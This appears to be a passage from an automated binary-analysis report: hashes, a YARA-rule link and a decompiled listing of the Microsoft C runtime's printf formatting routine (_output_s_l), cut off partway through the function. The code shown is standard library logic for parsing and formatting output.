Instruction ID: 43773bcee88b0ad9f13c704787711ce73d579688ce993d92a43fe7ed2fd78e5d
Opcode Fuzzy Hash: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction Fuzzy Hash: 3741F6B1E102299FDB24CF48C991BAEB7B5FF89314F1091AAD149BB241C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00434FDC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00434FDC(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00428360(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00428360(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00428360(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00428360(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428380(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428380(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E00428290(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E004282D0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E00428290(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E004282D0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E00434220(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E004282D0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E00428290(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C3D0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435560))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E00431210( *(_t701 - 0x251) & 0x000000ff, E0041ACE0(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E004281F0( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E004281F0( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E210();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422D00(_t616))) = 0x16;
																	E00422A90(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041ACB0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435598; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435580))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x4355c0; // 0x4dce9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M004355AC))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041ACE0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0xf2632e26
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xf2d1ae26
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xf2c8ae26
																					E00424550(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00428360(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E004283A0(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
